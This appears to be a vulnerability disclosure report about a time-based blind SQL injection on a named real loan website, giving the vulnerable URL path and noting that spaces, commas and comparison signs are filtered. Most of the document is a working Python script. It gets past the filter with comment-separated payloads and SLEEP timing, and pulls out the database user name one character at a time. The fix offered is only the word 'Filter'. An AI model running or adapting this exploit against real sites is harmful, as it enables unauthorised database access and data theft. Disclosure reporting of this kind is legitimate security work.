A good loan website bypasses SQL Injection somewhere (with a verification script)

A good loan website bypasses SQL Injection somewhere (with a verification script)

RT

Detailed description:

Vulnerability address:

http://www.haodai.com/zixun/k_1*/

* Injection exists. Space is filtered, comma, less than, greater

A delay occurs when the length of the user name is 24 bits.

Proof of vulnerability:

Run the script on to get the current user name: [email protected]

#encoding=utf-8

import httplib

import time

import string

import sys

import random

import urllib



headers = {}

payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'



print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())

user = ''

for i in range(1, 25):

    for payload in payloads:
        start_time=time.time()
        s = "ascii(mid(lower(user())from(%s)for(1)))=%s" % (i, ord(payload))
        #s="aaa'XOR(if(%s,sleep(3),0))OR'bbb" % s

        s="/zixun/k_1')/**/AND/**/(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(case when(%s) then 3 else 0 end)))nRlp)/**/AND/**/('WakH'='WakH.html/" % s

        conn = httplib.HTTPConnection('www.haodai.com', timeout=30)

        conn.request(method='GET',url=s)

        conn.getresponse()

        conn.close()

        print '.',

        current_time=time.time()
        if(current_time-start_time>3):

            user += payload

            print '\n[in progress]', user,

            #time.sleep(3.0)

            break

        

print '\n[Done] MySQL user is %s' % user

Solution:

Filter